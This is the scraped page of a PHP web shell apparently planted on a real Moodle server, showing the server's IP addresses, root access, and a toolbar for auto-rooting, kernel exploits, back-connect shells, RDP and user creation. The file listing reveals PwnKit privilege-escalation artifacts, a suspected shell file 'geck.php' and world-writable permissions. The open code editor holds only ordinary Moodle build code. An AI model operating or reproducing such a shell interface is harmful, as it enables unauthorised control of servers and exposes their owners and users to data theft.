Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.1
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
[ HOME SHELL ]
Name
Size
Permission
Action
.github
[ DIR ]
drwxrwxrwx
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
admin
[ DIR ]
drwxrwxrwx
analytics
[ DIR ]
drwxrwxrwx
auth
[ DIR ]
drwxrwxrwx
availability
[ DIR ]
drwxrwxrwx
backup
[ DIR ]
drwxrwxrwx
badges
[ DIR ]
drwxrwxrwx
blocks
[ DIR ]
drwxrwxrwx
blog
[ DIR ]
drwxrwxrwx
cache
[ DIR ]
drwxrwxrwx
calendar
[ DIR ]
drwxrwxrwx
cohort
[ DIR ]
drwxrwxrwx
comment
[ DIR ]
drwxrwxrwx
competency
[ DIR ]
drwxrwxrwx
completion
[ DIR ]
drwxrwxrwx
contentbank
[ DIR ]
drwxrwxrwx
course
[ DIR ]
drwxrwxrwx
customfield
[ DIR ]
drwxrwxrwx
dataformat
[ DIR ]
drwxrwxrwx
enrol
[ DIR ]
drwxrwxrwx
error
[ DIR ]
drwxrwxrwx
favourites
[ DIR ]
drwxrwxrwx
files
[ DIR ]
drwxrwxrwx
filter
[ DIR ]
drwxrwxrwx
grade
[ DIR ]
drwxrwxrwx
group
[ DIR ]
drwxrwxrwx
h5p
[ DIR ]
drwxrwxrwx
install
[ DIR ]
drwxrwxrwx
iplookup
[ DIR ]
drwxrwxrwx
lang
[ DIR ]
drwxrwxrwx
lib
[ DIR ]
drwxrwxrwx
local
[ DIR ]
drwxrwxrwx
login
[ DIR ]
drwxrwxrwx
media
[ DIR ]
drwxrwxrwx
message
[ DIR ]
drwxrwxrwx
mnet
[ DIR ]
drwxrwxrwx
mod
[ DIR ]
drwxrwxrwx
my
[ DIR ]
drwxrwxrwx
notes
[ DIR ]
drwxrwxrwx
pix
[ DIR ]
drwxrwxrwx
plagiarism
[ DIR ]
drwxrwxrwx
portfolio
[ DIR ]
drwxrwxrwx
privacy
[ DIR ]
drwxrwxrwx
question
[ DIR ]
drwxrwxrwx
rating
[ DIR ]
drwxrwxrwx
report
[ DIR ]
drwxrwxrwx
repository
[ DIR ]
drwxrwxrwx
rss
[ DIR ]
drwxrwxrwx
search
[ DIR ]
drwxrwxrwx
tag
[ DIR ]
drwxrwxrwx
theme
[ DIR ]
drwxrwxrwx
user
[ DIR ]
drwxrwxrwx
userpix
[ DIR ]
drwxrwxrwx
webservice
[ DIR ]
drwxrwxrwx
.eslintignore
2.32
KB
-rwxrwxrwx
.eslintrc
7.92
KB
-rwxrwxrwx
.gherkin-lintrc
597
B
-rwxrwxrwx
.gitattributes
94
B
-rwxrwxrwx
.htaccess
197
B
-r--r--r--
.jshintignore
16
B
-rwxrwxrwx
.jshintrc
1.51
KB
-rwxrwxrwx
.mad-root
0
B
-rw-r--r--
.nvmrc
12
B
-rwxrwxrwx
.shifter.json
67
B
-rwxrwxrwx
.stylelintignore
2.36
KB
-rwxrwxrwx
.stylelintrc
4.62
KB
-rwxrwxrwx
.travis.yml
8.56
KB
-rwxrwxrwx
CONTRIBUTING.txt
2.3
KB
-rwxrwxrwx
COPYING.txt
34.32
KB
-rwxrwxrwx
Gruntfile.js
35.65
KB
-rwxrwxrwx
GruntfileComponents.js
6.57
KB
-rwxrwxrwx
INSTALL.txt
664
B
-rwxrwxrwx
PULL_REQUEST_TEMPLATE.txt
266
B
-rwxrwxrwx
README.txt
1.15
KB
-rwxrwxrwx
TODO
58
B
-rwxrwxrwx
TRADEMARK.txt
3.29
KB
-rwxrwxrwx
babel-plugin-add-module-to-def...
8.04
KB
-rwxrwxrwx
behat.yml.dist
302
B
-rwxrwxrwx
brokenfile.php
1.13
KB
-rwxrwxrwx
composer.json
1.87
KB
-rwxrwxrwx
composer.lock
171.3
KB
-rwxrwxrwx
config-dist.php
54.34
KB
-rwxrwxrwx
config.php
712
B
-rwxrwxrwx
draftfile.php
2.53
KB
-rwxrwxrwx
file.php
3.78
KB
-rwxrwxrwx
geck.php
143.87
KB
-rw-r--r--
githash.php
953
B
-rwxrwxrwx
help.php
1.83
KB
-rwxrwxrwx
help_ajax.php
1.39
KB
-rwxrwxrwx
index.php
4.61
KB
-rwxrwxrwx
install.php
25.57
KB
-rwxrwxrwx
npm-shrinkwrap.json
723.91
KB
-rwxrwxrwx
package.json
1.45
KB
-rwxrwxrwx
phpunit.xml.dist
9.83
KB
-rwxrwxrwx
pluginfile.php
1.64
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
security.txt
270
B
-rwxrwxrwx
tokenpluginfile.php
1.56
KB
-rwxrwxrwx
version.php
1.6
KB
-rwxrwxrwx
wp-blog-header.php
2.74
KB
-rw-r--r--
wp-cron.php
2.74
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : GruntfileComponents.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Helper functions for working with Moodle component names, directories, and sources. * * @copyright 2019 Andrew Nicols <andrew@nicols.co.uk> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ "use strict"; /* eslint-env node */ /** @var {Object} A list of subsystems in Moodle */ const componentData = {}; /** * Load details of all moodle modules. * * @returns {object} */ const fetchComponentData = () => { const fs = require('fs'); const path = require('path'); const glob = require('glob'); const gruntFilePath = process.cwd(); if (!Object.entries(componentData).length) { componentData.subsystems = {}; componentData.pathList = []; // Fetch the component definiitions from the distributed JSON file. const components = JSON.parse(fs.readFileSync(`${gruntFilePath}/lib/components.json`)); // Build the list of moodle subsystems. componentData.subsystems.lib = 'core'; componentData.pathList.push(process.cwd() + path.sep + 'lib'); for (const [component, thisPath] of Object.entries(components.subsystems)) { if (thisPath) { // Prefix "core_" to the front of the subsystems. componentData.subsystems[thisPath] = `core_${component}`; componentData.pathList.push(process.cwd() + path.sep + thisPath); } } // The list of components incldues the list of subsystems. componentData.components = componentData.subsystems; // Go through each of the plugintypes. Object.entries(components.plugintypes).forEach(([pluginType, pluginTypePath]) => { // We don't allow any code in this place..? glob.sync(`${pluginTypePath}/*/version.php`).forEach(versionPath => { const componentPath = fs.realpathSync(path.dirname(versionPath)); const componentName = path.basename(componentPath); const frankenstyleName = `${pluginType}_${componentName}`; componentData.components[`${pluginTypePath}/${componentName}`] = frankenstyleName; componentData.pathList.push(componentPath); // Look for any subplugins. const subPluginConfigurationFile = `${componentPath}/db/subplugins.json`; if (fs.existsSync(subPluginConfigurationFile)) { const subpluginList = JSON.parse(fs.readFileSync(fs.realpathSync(subPluginConfigurationFile))); Object.entries(subpluginList.plugintypes).forEach(([subpluginType, subpluginTypePath]) => { glob.sync(`${subpluginTypePath}/*/version.php`).forEach(versionPath => { const componentPath = fs.realpathSync(path.dirname(versionPath)); const componentName = path.basename(componentPath); const frankenstyleName = `${subpluginType}_${componentName}`; componentData.components[`${subpluginTypePath}/${componentName}`] = frankenstyleName; componentData.pathList.push(componentPath); }); }); } }); }); } return componentData; }; /** * Get the list of paths to build AMD sources. * * @returns {Array} */ const getAmdSrcGlobList = () => { const globList = []; fetchComponentData().pathList.forEach(componentPath => { globList.push(`${componentPath}/amd/src/*.js`); globList.push(`${componentPath}/amd/src/**/*.js`); }); return globList; }; /** * Get the list of paths to build YUI sources. * * @param {String} relativeTo * @returns {Array} */ const getYuiSrcGlobList = relativeTo => { const globList = []; fetchComponentData().pathList.forEach(componentPath => { const relativeComponentPath = componentPath.replace(relativeTo, ''); globList.push(`${relativeComponentPath}/yui/src/**/*.js`); }); return globList; }; /** * Get the list of paths to thirdpartylibs.xml. * * @param {String} relativeTo * @returns {Array} */ const getThirdPartyLibsList = relativeTo => { const fs = require('fs'); const path = require('path'); return fetchComponentData().pathList .map(componentPath => path.relative(relativeTo, componentPath) + '/thirdpartylibs.xml') .map(componentPath => componentPath.replace(/\\/g, '/')) .filter(path => fs.existsSync(path)) .sort(); }; /** * Find the name of the component matching the specified path. * * @param {String} path * @returns {String|null} Name of matching component. */ const getComponentFromPath = path => { const componentList = fetchComponentData().components; if (componentList.hasOwnProperty(path)) { return componentList[path]; } return null; }; /** * Check whether the supplied path, relative to the Gruntfile.js, is in a known component. * * @param {String} checkPath The path to check. This can be with either Windows, or Linux directory separators. * @returns {String|null} */ const getOwningComponentDirectory = checkPath => { const path = require('path'); // Fetch all components into a reverse sorted array. // This ensures that components which are within the directory of another component match first. const pathList = Object.keys(fetchComponentData().components).sort().reverse(); for (const componentPath of pathList) { // If the componentPath is the directory being checked, it will be empty. // If the componentPath is a parent of the directory being checked, the relative directory will not start with .. if (!path.relative(componentPath, checkPath).startsWith('..')) { return componentPath; } } return null; }; module.exports = { getAmdSrcGlobList, getComponentFromPath, getOwningComponentDirectory, getYuiSrcGlobList, getThirdPartyLibsList, };
Close